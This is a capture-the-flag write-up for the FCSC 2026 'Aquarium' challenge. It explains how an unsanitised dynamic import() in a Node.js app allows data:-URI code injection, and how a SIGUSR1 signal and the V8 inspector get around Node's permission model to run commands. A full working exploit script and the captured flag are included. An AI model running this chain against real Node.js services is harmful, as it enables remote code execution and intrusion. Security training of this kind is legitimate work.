FCSC Aquarium [EN]| FCSC 2026
FCSC Aquarium | FCSC 2026
Challenge
The challenge gives us the full source of a Dockerized Node.js web app that serves an animated aquarium page. There is a SUID binary /getflag that reads the flag from /root/flag.txt. Goal is obvious.
Looking at the source
Two services run inside the container via supervisord.
The web app (server.mjs) is started with the Node.js permission model:
node --permission --allow-fs-read=/ /usr/app/server.mjs
The second one is a messages service (messages.js) started like this:
node /home/ctf/messages.js
No --permission flag on that one. That’s interesting.
The import trick
In server.mjs, the /language endpoint does a dynamic import with user input:
app.post("/language", async (req, res) => {
const requested = req.body?.lang || "fr";
try {
res.json(await import(requested + "/index.js"));
} catch {
res.json(await import("fr/index.js"));
}
});
requested comes straight from the body with zero sanitization. Node.js import() supports data: URIs, so I can inject arbitrary JS like:
lang = "data:text/javascript,<code>//"
The server evaluates import("data:text/javascript,<code>///index.js") and the trailing ///index.js becomes a comment. Free code execution.
The permission model problem
Ok so the web app runs under Node.js 24’s permission model. This blocks a lot of stuff.
child_process: blocked.worker_threads: blocked.process.binding(): blocked.process.dlopen(): blocked.fs.write: blocked too.
But fs.read* is allowed on all paths. Network (http, websocket) is allowed. And process.kill() is allowed because it is just a wrapper around the kill(2) syscall.
So I can run JS but I can not spawn processes or write files. Direct RCE from the web app is not happening.
Pivoting to messages.js
The messages service runs without --permission. It has full access to child_process, file writes, everything. Both processes run as the ctf user.
After a while I noticed that process.kill() is not restricted by the permission model. It is literally just a kill(2) wrapper. Sending SIGUSR1 to a Node.js process activates its V8 inspector on 127.0.0.1:9229.
So the plan is:
- Read
/procto find the PID ofmessages.js - Send it
SIGUSR1to start the debugger - Connect to the debugger via WebSocket from the web app (network is allowed)
- Use
Runtime.evaluateto runchild_process.execSync("/getflag")in the messages.js context
Node.js 24 has a global WebSocket class so I do not even need any external library for that last part.
Exploit
#!/usr/bin/env python3
import requests
import json
TARGET = "https://fcsc-aquarium.fcsc.fr"
JS = r"""
import { readFileSync, readdirSync } from "node:fs";
import { get } from "node:http";
let res = "INIT";
try {
let pid = null;
for (const p of readdirSync("/proc").filter(f => /^\d+$/.test(f))) {
try {
const cmd = readFileSync("/proc/" + p + "/cmdline", "utf-8");
if (cmd.includes("messages.js")) { pid = parseInt(p); break; }
} catch {}
}
process.kill(pid, "SIGUSR1");
await new Promise(r => setTimeout(r, 1000));
const targets = await new Promise((ok, ko) => {
get("http://127.0.0.1:9229/json", resp => {
let d = "";
resp.on("data", c => d += c);
resp.on("end", () => ok(JSON.parse(d)));
}).on("error", ko);
});
const url = targets[0].webSocketDebuggerUrl;
res = await new Promise((ok) => {
const ws = new WebSocket(url);
ws.onopen = () => {
ws.send(JSON.stringify({
id: 1,
method: "Runtime.evaluate",
params: {
expression: 'process.mainModule.require("child_process").execSync("/getflag").toString()',
returnByValue: true
}
}));
};
ws.onmessage = (e) => {
ok(JSON.parse(e.data.toString()));
ws.close();
};
ws.onerror = (e) => ok("Error: " + String(e));
});
res = JSON.stringify(res);
} catch (e) {
res = "Error: " + e.message;
}
export default { disclaimer: res };
""".strip()
def build(code):
return f"data:text/javascript,{code.replace(chr(10), '%0A')}//"
r = requests.post(
f"{TARGET}/language",
headers={"Content-Type": "application/json"},
data=json.dumps({"lang": build(JS)}),
)
print(r.json())
$ python3 solve.py
{'default': {'disclaimer': '{"id":1,"result":{"result":{"type":"string","value":"FCSC{046f001ea6fbfb862d436de91db44f97e612ca4c9a45c37b29199ff9fd20e8b7}"}}}'}}
Flag
FCSC{046f001ea6fbfb862d436de91db44f97e612ca4c9a45c37b29199ff9fd20e8b7}